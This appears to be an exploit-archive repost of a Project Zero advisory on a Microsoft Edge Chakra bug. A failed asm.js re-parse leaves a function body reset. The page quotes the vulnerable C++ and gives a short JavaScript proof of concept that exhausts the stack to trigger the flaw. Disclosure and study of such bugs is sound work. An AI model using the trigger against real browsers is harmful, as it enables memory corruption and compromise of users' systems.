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Microsoft Edge Chakra - JavascriptFunction::ReparseAsmJsModule Incorrectly Re-parses Exploit
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1327
Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
Assert(functionInfo);
functionInfo->GetFunctionBody()->AddDeferParseAttribute();
functionInfo->GetFunctionBody()->ResetEntryPoint();
functionInfo->GetFunctionBody()->ResetInParams();
FunctionBody * funcBody = functionInfo->Parse(functionRef);
#if ENABLE_PROFILE_INFO
// This is the first call to the function, ensure dynamic profile info
funcBody->EnsureDynamicProfileInfo();
#endif
(*functionRef)->UpdateUndeferredBody(funcBody);
}
First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).
We can make it throw an exception simply by exhausting the stack.
PoC:
-->
function Module() {
'use asm';
function f() {
}
return f;
}
function recur() {
try {
recur();
} catch (e) {
Module(1);
}
}
recur();
# 0day.today [2024-12-27] #